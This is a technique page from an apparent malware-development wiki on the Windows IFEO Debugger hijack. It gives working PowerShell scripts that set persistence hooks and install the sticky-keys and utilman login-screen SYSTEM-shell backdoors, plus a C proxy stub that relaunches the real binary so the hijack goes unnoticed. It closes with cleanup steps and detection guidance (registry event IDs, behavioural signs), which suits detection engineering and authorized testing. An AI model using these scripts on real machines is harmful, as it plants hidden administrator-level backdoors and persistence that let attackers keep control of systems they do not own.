Skip to content
λmaldev wiki/
pagesIFEO Debugger Hijack
T1546.012WindowsPowerShellC / C++Registry

IFEO Debugger Hijack

updated 2026-08-046 min readthehackersbrain
Authorized use only. This material is published for detection engineering, malware analysis and authorized red-team engagements. Running these techniques against systems you do not own or have written permission to test is illegal.

Overview

Image File Execution Options (IFEO) is a Windows registry feature designed to allow developers to attach a debugger to a process at launch. When a Debugger value is set under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<exe name>, Windows prepends the debugger path to every invocation of that executable — the process loader calls the “debugger” with the original command line as its first argument.

Adversaries abuse this for two purposes:

  1. Persistence: Set the Debugger key for a commonly launched system binary (e.g., taskmgr.exe, notepad.exe) so the payload runs every time that binary is launched.
  2. Accessibility feature backdoor: The classic “sticky keys” backdoor sets the Debugger key for sethc.exe (Sticky Keys, triggered with 5× Shift on the login screen) or utilman.exe (Accessibility menu on the login screen) to cmd.exe, gaining a SYSTEM shell before authentication.
Caution.

The accessibility feature backdoor (sethc.exe → cmd.exe) requires write access to HKLM, which means Administrator or SYSTEM rights. This is typically used post-exploitation to establish a SYSTEM-level persistence path that survives credential rotation — it does not bypass authentication itself (the login screen is still shown; the backdoor fires via the accessibility shortcut).

The call chain

  1. 1
    write HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>\Debugger
    Set the Debugger value to the path of the payload; Windows will prepend this path to every launch of target.exe.
  2. 2
    user or system launches target.exe
    Windows passes the original target path as the first argument to the Debugger binary. The payload runs instead of (or before) the legitimate process.
  3. 3
    payload optionally launches the real binary
    To avoid detection, the payload re-executes the original command line so the user sees normal behaviour.

Reference implementation

Set IFEO debugger via PowerShell

ifeo_set.ps1PowerShell
# Persistence: every time taskmgr.exe launches, run payload.exe first
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"
$target = "taskmgr.exe"
$payload = "C:\Windows\Temp\payload.exe"

# Create the IFEO key if it doesn't exist
New-Item -Path "$ifeo\$target" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\$target" -Name "Debugger" -Value $payload

Write-Host "[+] IFEO hook set: $target -> $payload"

# Verify
Get-ItemProperty -Path "$ifeo\$target"

Classic accessibility backdoor (SYSTEM shell at login screen)

sticky_keys_backdoor.ps1PowerShell
# Requires SYSTEM or Administrator — classic domain pivoting technique
# Trigger: press Shift 5 times at the Windows login screen
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Sticky Keys backdoor
New-Item -Path "$ifeo\sethc.exe" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\sethc.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe"

# Utility Manager backdoor (Win+U at login screen)
New-Item -Path "$ifeo\utilman.exe" -Force | Out-Null
Set-ItemProperty -Path "$ifeo\utilman.exe" -Name "Debugger" -Value "C:\Windows\System32\cmd.exe"

Write-Host "[+] Accessibility backdoors installed"

Payload that transparently re-runs the original binary

ifeo_proxy.cC
#include <windows.h>

// This binary is set as the "Debugger" for target.exe.
// argv[1] is the full path to target.exe; argv[2..] are the original arguments.
// We run our payload, then re-launch the original binary so the user is unaware.

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
  // Payload: do malicious work here
  // ...

  // Reconstruct the original command line from GetCommandLine()
  // Format: "C:payload.exe" "C:path	ooriginal.exe" [original args]
  wchar_t *cmdline = GetCommandLineW();

  // Skip past our own quoted path
  wchar_t *p = cmdline;
  if (*p == L'"') {
      p++;
      while (*p && *p != L'"') p++;
      if (*p) p++;  // skip closing quote
  } else {
      while (*p && *p != L' ') p++;
  }
  while (*p == L' ') p++;  // skip spaces

  // p now points to the original binary + its args
  if (*p) {
      STARTUPINFOW si = { .cb = sizeof si };
      PROCESS_INFORMATION pi = {0};
      CreateProcessW(NULL, p, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
      CloseHandle(pi.hThread);
      CloseHandle(pi.hProcess);
  }

  return 0;
}

Well-known IFEO targets

Target exe Trigger Context
sethc.exe Shift ×5 at login screen SYSTEM shell before auth
utilman.exe Win+U at login screen SYSTEM shell before auth
osk.exe On-Screen Keyboard at login SYSTEM shell before auth
narrator.exe Narrator at login SYSTEM shell before auth
taskmgr.exe Task Manager (Ctrl+Shift+Esc) Runs on every invocation
notepad.exe Any text file open Very common trigger
mspaint.exe PNG/BMP open Common trigger
svchost.exe System service startup Fires constantly — noisy

Removing the hook (cleanup)

ifeo_remove.ps1PowerShell
$ifeo = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options"

# Remove the Debugger value only (preserves other IFEO settings for this exe)
Remove-ItemProperty -Path "$ifeo\taskmgr.exe" -Name "Debugger" -ErrorAction SilentlyContinue

# Or remove the entire IFEO key for the target
Remove-Item -Path "$ifeo\taskmgr.exe" -Recurse -ErrorAction SilentlyContinue

Detection

WINDOWS EID 4657
Registry value set under Image File Execution Options with a Debugger key pointing to a non-debugger path.
SYSMON EID 12/13
Registry create or set event under IFEO key by a non-administrative or unexpected process.
SYSMON EID 1
A process that has the expected image name in its command line but a different executable path (the payload was set as the debugger).
BEHAVIOURAL
Common system processes (taskmgr.exe, sethc.exe, utilman.exe) spawning unexpected child processes.

Monitoring IFEO registry writes should be table stakes in any SOC. The HKLM path requires admin rights, which limits who can set it — any modification from a non-administrative process is suspicious. From an administrative process, any Debugger value that points to a non-Microsoft-signed binary or a path in a writable user directory is a high-confidence indicator.

Periodically auditing the IFEO keys for Debugger values (or GFlags silentprocessexit configurations) is a simple persistence-hunting query that catches this technique even without real-time alerting.

Was this page useful?edit this page ↗